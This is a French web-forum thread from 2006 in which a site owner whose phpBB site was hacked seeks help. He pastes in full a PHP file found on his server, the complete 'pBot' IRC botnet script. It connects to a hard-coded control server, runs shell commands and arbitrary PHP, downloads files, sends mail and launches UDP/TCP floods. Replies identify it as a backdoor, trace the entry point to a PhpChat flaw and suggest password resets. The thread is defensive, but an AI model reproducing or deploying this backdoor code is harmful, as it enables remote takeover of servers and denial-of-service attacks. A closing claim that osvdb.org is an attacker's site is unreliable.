Dan74 Posté 1 Septembre 2006 Posté 1 Septembre 2006 Bonjour à tous Après 3 ans d'exploitation sans encombre, mon site a été piraté 2 fois aujourd'hui le fichier index.php de la racine a été remplacé dans les 2 cas et dans le second en prime celui du Forum. http://www.entrenous74.com/index_snoop.php http://www.entrenous74.com/index_suskun.php J'utilise PHPBB et j'étais en V 2.0.20, je suis passé en V 2.0.21 ce soir manuellement car j'ai quelques MODs ajouté. Pensez-vous que cette mise à jour est suffisante ? J'utilise également pour quelques membres le mod BLOG par Hyperion qui n'est malheureusement plus développé, connaissez-vous des failles de sécurités pour ce mod ? Maintenant je croise les doigts car ce n'est pas très drôle comme situation. Amicalement Dan74
glibre Posté 2 Septembre 2006 Posté 2 Septembre 2006 slt rapproche toi de ton hebergeur pour tenter d'en savoir plus. Autant, tu n'est pas le seul, cela a tres bien pu toucher d'autresque toi. (et la faille peut venir d'un autre compte que le tien...) verifie tous tes fichiers histoire de voir si certains ne sont pas louches
Dan74 Posté 2 Septembre 2006 Auteur Posté 2 Septembre 2006 Hey les mecs, j'ai trouvé ce truc sur la racine de mon site, ça sent bizarre ça. <?set_time_limit(0);error_reporting(0);class pBot{ var $config = array("server"=>"64.18.150.147", "port"=>4512, "pass"=>"", "prefix"=>"nix|", "maxrand"=>8, "chan"=>"#scan", "key"=>"", "modes"=>"+iB-x", "password"=>"h4x", "trigger"=>".", "hostauth"=>"*" // * for any hostname ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = ""; $alph = range("a","z"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,25)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER $ident 127.0.0.1 localhost :$ident"); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in"); $this->log_in($host); } else { $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2"); } } break; case "version": $this->privmsg($this->config['chan'], "pBot -- MoD by snoop"); break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "info": $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]"); break; case "myip": $this->privmsg($this->config['chan'],"Your IP is ". $_SERVER['REMOTE_ADDR']); break; case "cmd": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[\2cmd\2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "php": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("\n",$exec); $this->privmsg($this->config['chan'],"[\2exec\2]: $command"); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); else $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); } break; case "ud.server": // .udserver <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]); } else { $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]); } } break; case "download": if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],"w")) { $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied."); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2"); } fclose($fp); } } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out"); break; case "udpflood": if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } break; case "tcpflood": if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msg\r\n"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[X]"; else $this->nick = "[U]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packets,$packetsize,$delay) { $this->privmsg($this->config['chan'],"[\2udpflood\2]: Sending $packets packets to $host. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2udpflood\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2udpflood\2]: Finished sending $packets packets to $host."); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Sending $packets packets to $host:$port. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Finished sending $packets packets to $host:$port."); }}$bot = new pBot;$bot->start();?>
Théo B. Posté 2 Septembre 2006 Posté 2 Septembre 2006 (modifié) En effet, c'est une backdoor. Supprime vite ça : ça permet de donner le shell à qui utilise ce script! //EDIT : En y regardant de plus près, ça a l'air d'un bot... Modifié 2 Septembre 2006 par Théo B.
Dan74 Posté 2 Septembre 2006 Auteur Posté 2 Septembre 2006 Tu parles, je l'ai viré tout de suite. J'ai envoyé ça à un pot qui m'a dit que ce machin récupérait tous les Mots de passe du site. Si c'est ça je suis mort de la mort qui tue
Bourinho Posté 2 Septembre 2006 Posté 2 Septembre 2006 Salut, J'espère que tu ne gardais que les md5 de ces mots de passe... Sinon, c'est vrai que ça risque d'être un peu embétant de demander à tes membres de changer de mot de passe...
Dan74 Posté 3 Septembre 2006 Auteur Posté 3 Septembre 2006 Bon voila, j'ai trouvé la faille en examinant mes logs. Il s'agit d'une vunérabilité du fichier aedating4CMS.php présent dans PhpChat => http://forum.tufat.com/showthread.php?t=24428 Ouf ... j'espère que l'orage est passé.
Dan74 Posté 28 Septembre 2006 Auteur Posté 28 Septembre 2006 Tu parles, en fait il n'y avait pas un fichier mais 3 différents (aedating etc ...) j'ai effacé le premier tout content et zou, le lendemain rebelotte. Moi, ça ne m'a pas fait rire du tout, promis. J'ai même trouvé sur internet la vidéo complète pour entrer dans les sites qui avaient cette faille. A ce jour, j'ai des centaines de logs de mecs qui veulent entrer chez moi, mais bon j'ai effacé tous les fichiers incriminés.
shuriskn Posté 3 Octobre 2006 Posté 3 Octobre 2006 Php Chat est un guyere, je me suis fait piraté le mien également il y a 2 jours. y'en a qu'on rien de mieux a faire.
YoyoS Posté 13 Octobre 2006 Posté 13 Octobre 2006 je te conseille d'installer un mod qui va réinitialiser tous les mots de pass des comptes et les renvoyer aux adresses mail des membres par simple securité, et change ton pass aussi. Il l'a surement
objectifweb Posté 14 Octobre 2006 Posté 14 Octobre 2006 Bonjour, c'est une vraie plaie de voir toutes ces failles dans les scripts PHP, à ma dernière attaque subie, je suis tombé sur le site utilisé par le pirate, me suis abonné à ses 'alert', il signale toute une série de hacks possibles avec les mises à jour si elles existent. J'ai même trouvé sur ce site une liste des sites qu'il va attaquer, d'autres déjà attaqué, des utilitaires pour attaquer ! @#? http://www.osvdb.org Patrick
Sujets conseillés
Veuillez vous connecter pour commenter
Vous pourrez laisser un commentaire après vous êtes connecté.
Connectez-vous maintenant